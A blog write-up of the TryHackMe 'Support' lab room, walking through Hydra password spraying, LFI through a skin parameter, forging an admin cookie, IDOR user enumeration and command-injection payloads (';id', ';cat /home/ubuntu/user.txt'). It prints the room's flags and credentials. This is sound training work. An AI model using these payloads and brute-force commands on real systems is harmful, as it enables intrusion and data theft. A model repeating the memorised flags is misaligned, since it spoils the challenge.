Writeups/TryHackMe/Support - TryHackMe Writeup
TryHackMeEasyRoom

Support - TryHackMe Writeup

Support TryHackMe writeup — Hydra password spray, a skin parameter LFI, cookie tampering into the internal API, IDOR user enumeration and command injection for the flags.

Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE.

##Task 1 | Support Challenge

A new internal Support Operations Platform has been deployed to assist IT and helpdesk teams. The application handles user management, internal APIs, and system-level operations. However, security was not the primary focus during development. Several features rely on user-controlled input and weak trust boundaries.

Can you pentest the platform and escalate your access to achieve RCE on the server?

##Answer the questions below

Q. What is the flag value after logging in as admin?

Ans.

Q. What is the content of the file /home/ubuntu/user.txt?

Ans.


##Walkthrough

Initial Nmap scan -

bash
root@ip-10-49-98-171:~# nmap -p- -sV -sT 10.49.138.85 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-06-25 18:52 UTC PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

As usual, we have an SSH & HTTP port. Let's visit the webapp and try to map out the application -

http
HTTP/1.1 200 OK Date: Thu, 25 Jun 2026 18:55:28 GMT Server: Apache/2.4.58 (Ubuntu) Set-Cookie: PHPSESSID=b576i3iau59d9a40g4ptkor6g3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 2591 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Support Operations Panel</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> <style> body { background: linear-gradient(135deg, #0f172a, #1e293b); height: 100vh; color: #e5e7eb; } .brand-panel { padding: 80px; } .brand-panel h1 { font-weight: 700; } .login-panel { background: #f8fafc; color: #0f172a; padding: 50px; height: 100vh; } .login-panel input { border-radius: 0; } .login-panel button { border-radius: 0; background-color: #2563eb; } .security-note { font-size: 0.85rem; color: #475569; } </style> </head> <body> <div class="container-fluid h-100"> <div class="row h-100"> <div class="col-md-7 brand-panel d-flex flex-column justify-content-center"> <h1>Support Operations Panel</h1> <p class="lead mt-3"> Internal platform for managing support operations, infrastructure access, and incident response. </p> <ul class="mt-4"> <li>Ticket management</li> <li>Internal APIs</li> <li>System diagnostics</li> </ul> <p class="mt-5 text-warning"> ⚠ Authorized personnel only. All actions are logged. </p> </div> <div class="col-md-5 login-panel d-flex flex-column justify-content-center"> <h3 class="mb-4">Employee Authentication</h3> <form method="POST"> <div class="mb-3"> <label class="form-label">Corporate Email</label> <input type="email" name="email" class="form-control" placeholder="help@support.thm" required> </div> <div class="mb-4"> <label class="form-label">Password</label> <input type="password" name="password" class="form-control" required> </div> <button class="btn btn-primary w-100">Sign In</button> </form> <p class="security-note mt-4"> Problems signing in? Contact IT Operations @ help@support.thm </p> </div> </div> </div> </body> </html>

Support Operations Panel login page
Support Operations Panel login page

Not much to work with, let's run a gobuster scan in the background to look for other endpoints while we tryout the authentication controls -

bash
root@ip-10-49-98-171:~# gobuster dir -u http://10.49.138.85/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 -x .php,.txt,.js,.html,.zip,.bak,.enc =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.49.138.85/ [+] Method: GET [+] Threads: 200 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: php,txt,js,html,zip,bak,enc [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.html (Status: 403) [Size: 277] /info.php (Status: 200) [Size: 73290] /footer.php (Status: 200) [Size: 1253] /skins (Status: 301) [Size: 312] [--> http://10.49.138.85/skins/] /index.php (Status: 200) [Size: 2591] /.php (Status: 403) [Size: 277] /includes (Status: 301) [Size: 315] [--> http://10.49.138.85/includes/] /layout (Status: 301) [Size: 313] [--> http://10.49.138.85/layout/] /js (Status: 301) [Size: 309] [--> http://10.49.138.85/js/] /api.php (Status: 302) [Size: 0] [--> index.php] /logout.php (Status: 302) [Size: 0] [--> index.php] /config.php (Status: 200) [Size: 0] /dashboard.php (Status: 302) [Size: 0] [--> index.php] /server-status (Status: 403) [Size: 277]

Visiting info.php we see the full system info dump -

info.php exposing the full PHP system information dump
info.php exposing the full PHP system information dump

Not much to work with, but we have a potential username help@support.thm so let's try some password fuzzing using hydra and see if we crack something.

bash
root@ip-10-49-98-171:~# hydra -l help@support.thm -P /usr/share/wordlists/rockyou.txt 10.49.138.85 http-post-form "/index.php:email=^USER^&password=^PASS^:Invalid credentials" Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-06-25 19:20:28 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task [DATA] attacking http-post-form://10.49.138.85:80/index.php:email=^USER^&password=^PASS^:Invalid credentials [80][http-post-form] host: 10.49.138.85 login: help@support.thm password: snoopy 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-06-25 19:20:42 root@ip-10-49-98-171:~#

Got it! Let's login with help@support.thm:snoopy -

http
GET /dashboard.php HTTP/1.1 Host: 10.49.138.85 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.138.85/index.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=b576i3iau59d9a40g4ptkor6g3; isITUser=68934a3e9455fa72420237eb05902327 Connection: keep-alive HTTP/1.1 200 OK Date: Thu, 25 Jun 2026 19:20:51 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 1935 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Dashboard</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> </head> <body> <style> body { background-color: #f8f9fa; } </style> <nav class="navbar navbar-dark bg-dark"> <div class="container-fluid"> <span class="navbar-brand">Support Dashboard</span> <a href="logout.php" class="btn btn-sm btn-danger">Logout</a> </div> </nav> <div class="container mt-4"> <h3>Welcome, Helpdesk User</h3> <div class="card mt-3"> <div class="card-body"> <p>Ticket management system</p> </div> </div> </div> <footer class="mt-5 py-4 bg-light border-top"> <div class="container d-flex justify-content-between align-items-start flex-wrap"> <span class="text-muted"> &copy; 2026 Support Operations </span> <div class="d-flex gap-3 align-items-start"> <!-- Theme selector --> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle" type="button" data-bs-toggle="dropdown"> Select Theme </button> <ul class="dropdown-menu dropdown-menu-end"> <li><a class="dropdown-item" href="?skin=default">Default</a></li> <li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li> <li><a class="dropdown-item text-success" href="?skin=green">Green</a></li> <li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li> </ul> </div> </div> </div> <div class="container mt-3"> </div> </footer> <script src="js/bootstrap.bundle.min.js"></script> </body> </html>

Not much to work with apart from themes, which are changeable using the skins parameter. Let's try to manipulate the skins parameter and see if there is scope for LFI here as when exploring the web application, I found that the /skins path had 4 php files with respective names so it could be possible that the backend code is just replacing the mentioned theme and appending .php to the end -

http
HTTP/1.1 200 OK Date: Thu, 25 Jun 2026 19:08:01 GMT Server: Apache/2.4.58 (Ubuntu) Vary: Accept-Encoding Content-Length: 1533 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html;charset=UTF-8 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"> <html> <head> <title>Index of /skins</title> </head> <body> <h1>Index of /skins</h1> <table> <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr> <tr><th colspan="5"><hr></th></tr> <tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="blue.php">blue.php</a></td><td align="right">2026-01-20 08:16 </td><td align="right"> 56 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="default.php">default.php</a></td><td align="right">2026-01-20 08:15 </td><td align="right"> 56 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="green.php">green.php</a></td><td align="right">2026-01-20 08:15 </td><td align="right"> 56 </td><td>&nbsp;</td></tr> <tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="red.php">red.php</a></td><td align="right">2026-01-20 08:15 </td><td align="right"> 56 </td><td>&nbsp;</td></tr> <tr><th colspan="5"><hr></th></tr> </table> <address>Apache/2.4.58 (Ubuntu) Server at 10.49.138.85 Port 80</address> </body></html>

Eventually trying -

http://10.49.138.85/dashboard.php?skin=../../../../../var/www/html/skins/blue

Worked! We had the blue theme and that meant we have LFI and can read any php extension file if we can determine it's path. Let's read index.php -

php
http://10.49.138.85/dashboard.php?skin=../../../../../var/www/html/index <?php session_start(); include('/var/www/db.php'); $error = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { $email = $_POST['email'] ?? ''; $password = $_POST['password'] ?? ''; foreach ($users as $id => $user) { if ($user['email'] === $email && $user['password'] === $password) { $_SESSION['loggedin'] = true; $_SESSION['user_id'] = $id; $_SESSION['admin'] = $user['admin']; setcookie( 'isITUser', $user['admin'] ? md5("true") : md5("false"), time() + 3600, '/' ); header('Location: dashboard.php'); exit; } } $error = 'Invalid credentials'; } ?>

Interesting, we have /var/www/db.php which we can attempt to read -

http://10.49.138.85/dashboard.php?skin=../../../../../var/www/db

Not readable! Let's try reading dashboard.php -

http
HTTP/1.1 200 OK Date: Thu, 25 Jun 2026 19:33:31 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 4002 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Dashboard</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> </head> <body> <?php session_start(); if (!isset($_SESSION['loggedin'])) { header('Location: index.php'); exit; } $isIT = $_COOKIE['isITUser'] ?? md5("false"); $skin = $_GET['skin'] ?? 'default'; ?> <!DOCTYPE html> <html> <head> <title>Dashboard</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> </head> <body> <?php $webRoot = realpath('/var/www/html/skins'); $another = realpath('/var/www/html'); $requested = realpath($webRoot . '/' . $skin . '.php'); if ($requested !== false && strpos($requested, $another) === 0) { readfile($requested); } ?> <nav class="navbar navbar-dark bg-dark"> <div class="container-fluid"> <span class="navbar-brand">Support Dashboard</span> <a href="logout.php" class="btn btn-sm btn-danger">Logout</a> </div> </nav> <div class="container mt-4"> <h3>Welcome, Helpdesk User</h3> <div class="card mt-3"> <div class="card-body"> <p>Ticket management system</p> </div> </div> <?php if ($isIT === md5('true')): ?> <div class="card mt-4 border-success"> <div class="card-body"> <h5 class="text-success">IT Admin Panel</h5> <a href="api.php" class="btn btn-success">View API</a> </div> </div> <?php endif; ?> <?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true): ?> <div class="card mt-4 border-warning shadow-lg"> <div class="card-header bg-warning text-dark fw-bold"> 🎯 Administrator Access Confirmed </div> <div class="card-body text-center"> <p class="lead mb-2"> You have successfully authenticated as an administrator. </p> <div class="alert alert-dark fw-bold fs-5"> <?= htmlspecialchars(trim(file_get_contents('/var/www/web.txt'))) ?> </div> </div> </div> <?php endif; ?> </div> <?php include('footer.php'); ?> </body> </html> <nav class="navbar navbar-dark bg-dark"> <div class="container-fluid"> <span class="navbar-brand">Support Dashboard</span> <a href="logout.php" class="btn btn-sm btn-danger">Logout</a> </div> </nav> <div class="container mt-4"> <h3>Welcome, Helpdesk User</h3> <div class="card mt-3"> <div class="card-body"> <p>Ticket management system</p> </div> </div> </div> <footer class="mt-5 py-4 bg-light border-top"> <div class="container d-flex justify-content-between align-items-start flex-wrap"> <span class="text-muted"> &copy; 2026 Support Operations </span> <div class="d-flex gap-3 align-items-start"> <!-- Theme selector --> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle" type="button" data-bs-toggle="dropdown"> Select Theme </button> <ul class="dropdown-menu dropdown-menu-end"> <li><a class="dropdown-item" href="?skin=default">Default</a></li> <li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li> <li><a class="dropdown-item text-success" href="?skin=green">Green</a></li> <li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li> </ul> </div> </div> </div> <div class="container mt-3"> </div> </footer> <script src="js/bootstrap.bundle.min.js"></script> </body> </html>

Great! Some more files found -

  1. >/var/www/web.txt
  2. >api.php

Also, this reminds me of config.php we found earlier.

php
<?php $MASTER_PASSWORD = 'support@110'; $SITE_VER = '1.0'; $SITE_NAME = 'support_portal';

We have a master password support@110

Next, /api.php -

http
HTTP/1.1 200 OK Date: Thu, 25 Jun 2026 19:33:46 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 3666 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Dashboard</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> </head> <body> <?php session_start(); if (!isset($_SESSION['loggedin'])) { header('Location: index.php'); exit; } if (($_COOKIE['isITUser'] ?? md5('false')) !== md5('true')) { die('Access denied'); } include('/var/www/db.php'); $id = $_GET['id'] ?? $_SESSION['user_id']; $user = $users[$id] ?? null; if (preg_match('#^/user/#', $_SERVER['REQUEST_URI'])) { header('Content-Type: application/json'); unset($user['password']); echo json_encode($user, JSON_PRETTY_PRINT); exit; } ?> <!DOCTYPE html> <html> <head> <title>Internal API</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> </head> <body> <nav class="navbar navbar-dark bg-dark"> <div class="container-fluid"> <span class="navbar-brand">Support Dashboard</span> <a href="dashboard.php" class="btn btn-sm btn-outline-light">Home</a> <a href="logout.php" class="btn btn-sm btn-danger ms-2">Logout</a> </div> </nav> <div class="container mt-4"> <h3>Internal User API</h3> <div class="alert alert-info"> As a helpdesk user, you can query your own profile: <code>/user/<?= $_SESSION['user_id'] ?></code> </div> <div class="card mt-3"> <div class="card-header bg-secondary text-white">API Request</div> <div class="card-body"> <pre>GET /user/<?= htmlspecialchars($id) ?></pre> </div> </div> <div class="card mt-3"> <div class="card-header bg-dark text-white">API Response</div> <div class="card-body"> <?php unset($user['password']); ?> <pre><?= json_encode($user, JSON_PRETTY_PRINT); ?></pre> </div> </div> </div> <?php include('footer.php'); ?> </body> </html> <nav class="navbar navbar-dark bg-dark"> <div class="container-fluid"> <span class="navbar-brand">Support Dashboard</span> <a href="logout.php" class="btn btn-sm btn-danger">Logout</a> </div> </nav> <div class="container mt-4"> <h3>Welcome, Helpdesk User</h3> <div class="card mt-3"> <div class="card-body"> <p>Ticket management system</p> </div> </div> </div> <footer class="mt-5 py-4 bg-light border-top"> <div class="container d-flex justify-content-between align-items-start flex-wrap"> <span class="text-muted"> &copy; 2026 Support Operations </span> <div class="d-flex gap-3 align-items-start"> <!-- Theme selector --> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle" type="button" data-bs-toggle="dropdown"> Select Theme </button> <ul class="dropdown-menu dropdown-menu-end"> <li><a class="dropdown-item" href="?skin=default">Default</a></li> <li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li> <li><a class="dropdown-item text-success" href="?skin=green">Green</a></li> <li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li> </ul> </div> </div> </div> <div class="container mt-3"> </div> </footer> <script src="js/bootstrap.bundle.min.js"></script> </body> </html>

We found $MASTER_PASSWORD = 'support@110'; in config.php. Also noticed that in dashboard.php, the admin flag is displayed if $_SESSION['admin'] === true.

To log in as admin, we need the admin's email address. For this we can use the IDOR in api.php to enumerate users:

  1. >In out browser, we'll change our isITUser cookie to the MD5 hash of "true", which is b326b5062b2f0e69046810717534cb09. This will grant us access to api.php.

Modifying the isITUser cookie to the MD5 hash of true
Modifying the isITUser cookie to the MD5 hash of true

  1. >Now, visit http://10.49.138.85/api.php?id=1, id=2, etc. The API will dump the user details (without the password) in the HTML response. We are looking for a user with "admin": true or an admin like email
json
/user/1 { "email": "specialadmin@support.thm", "2FA": false, "admin": true } /user/2 { "email": "IT@support.thm", "2FA": false, "admin": false } /user/3 { "email": "help@support.thm", "2FA": false, "admin": false }
  1. >So, now we have our email & password for admin login - specialadmin@support.thm:support@110 . Let's login!

Didn't work -

http
POST /index.php HTTP/1.1 Host: 10.49.129.254 Content-Length: 51 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Origin: http://10.49.129.254 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.129.254/index.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=afr3k6igvnuv59olktj5tnp5io Connection: keep-alive email=specialadmin@support.thm&password=support@110 <div class="alert alert-danger">Invalid credentials</div>

After wasting half an hour, I went to look if I was down the wrong path and got to know that this is a discrepancy in the room but the actual password is support110

Admin flag after logging in as specialadmin
Admin flag after logging in as specialadmin

Now, we have the Admin flag - THM{I_AM_ADMIN999}

Now, we can see only 1 extra feature on this admin page. The Date/Time dropdown -

Date/Time dropdown on the admin API page
Date/Time dropdown on the admin API page

Going back to burpsuite, I could see we were running a date shell command -

http
POST /api.php HTTP/1.1 Host: 10.49.129.254 Content-Length: 36 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://10.49.129.254 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.129.254/api.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=afr3k6igvnuv59olktj5tnp5io; isITUser=b326b5062b2f0e69046810717534cb09 Connection: keep-alive sys=date+%2B%22%25H%3A%25M%3A%25S%22 HTTP/1.1 200 OK Date: Thu, 25 Jun 2026 20:05:46 GMT Server: Apache/2.4.58 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 3163 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <head> <title>Internal API</title> <link href="layout/bootstrap.min.css" rel="stylesheet"> </head> <body> <nav class="navbar navbar-dark bg-dark"> <div class="container-fluid"> <span class="navbar-brand">Support Dashboard</span> <a href="dashboard.php" class="btn btn-sm btn-outline-light">Home</a> <a href="logout.php" class="btn btn-sm btn-danger ms-2">Logout</a> </div> </nav> <div class="container mt-4"> <h3>Internal User API</h3> <div class="alert alert-info"> As a helpdesk user, you can query your own profile: <code>/user/1</code> </div> <div class="card mt-3"> <div class="card-header bg-secondary text-white">API Request</div> <div class="card-body"> <pre>GET /user/1</pre> </div> </div> <div class="card mt-3"> <div class="card-header bg-dark text-white">API Response</div> <div class="card-body"> <pre>{ "email": "specialadmin@support.thm", "2FA": false, "admin": true }</pre> </div> </div> </div> <footer class="mt-5 py-4 bg-light border-top"> <div class="container d-flex justify-content-between align-items-start flex-wrap"> <span class="text-muted"> &copy; 2026 Support Operations </span> <div class="d-flex gap-3 align-items-start"> <!-- Theme selector --> <div class="dropdown"> <button class="btn btn-outline-secondary dropdown-toggle" type="button" data-bs-toggle="dropdown"> Select Theme </button> <ul class="dropdown-menu dropdown-menu-end"> <li><a class="dropdown-item" href="?skin=default">Default</a></li> <li><a class="dropdown-item text-danger" href="?skin=red">Red</a></li> <li><a class="dropdown-item text-success" href="?skin=green">Green</a></li> <li><a class="dropdown-item text-primary" href="?skin=blue">Blue</a></li> </ul> </div> <form method="POST" id="sysForm"> <select name="sys" class="form-select" onchange="document.getElementById('sysForm').submit();"> <option value="date" > Date </option> <option value='date +"%H:%M:%S"' selected> Time </option> </select> </form> </div> </div> <div class="container mt-3"> <div class="alert alert-dark"> <pre class="mb-0">20:05:46 </pre> </div> </div> </footer> <script src="js/bootstrap.bundle.min.js"></script> </body> </html>

Let's try command injection, with id and see if it works -

http
POST /api.php HTTP/1.1 Host: 10.49.129.254 Content-Length: 39 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://10.49.129.254 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.129.254/api.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=afr3k6igvnuv59olktj5tnp5io; isITUser=b326b5062b2f0e69046810717534cb09 Connection: keep-alive sys=date+%2B%22%25H%3A%25M%3A%25S%22;id <pre class="mb-0">20:08:37 uid=33(www-data) gid=33(www-data) groups=33(www-data) </pre>

Works! Now, let's try to see if we can read /home/ubuntu/user.txt -

http
POST /api.php HTTP/1.1 Host: 10.49.129.254 Content-Length: 62 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://10.49.129.254 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.49.129.254/api.php Accept-Encoding: gzip, deflate, br Cookie: PHPSESSID=afr3k6igvnuv59olktj5tnp5io; isITUser=b326b5062b2f0e69046810717534cb09 Connection: keep-alive sys=date+%2B%22%25H%3A%25M%3A%25S%22;cat+/home/ubuntu/user.txt <pre class="mb-0">20:09:26 THM{GOT_THE_FLAG001}</pre>

Got out final flag - THM{GOT_THE_FLAG001}. Solved! Pretty easy room apart from the misleading password at which point I felt like giving up.

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.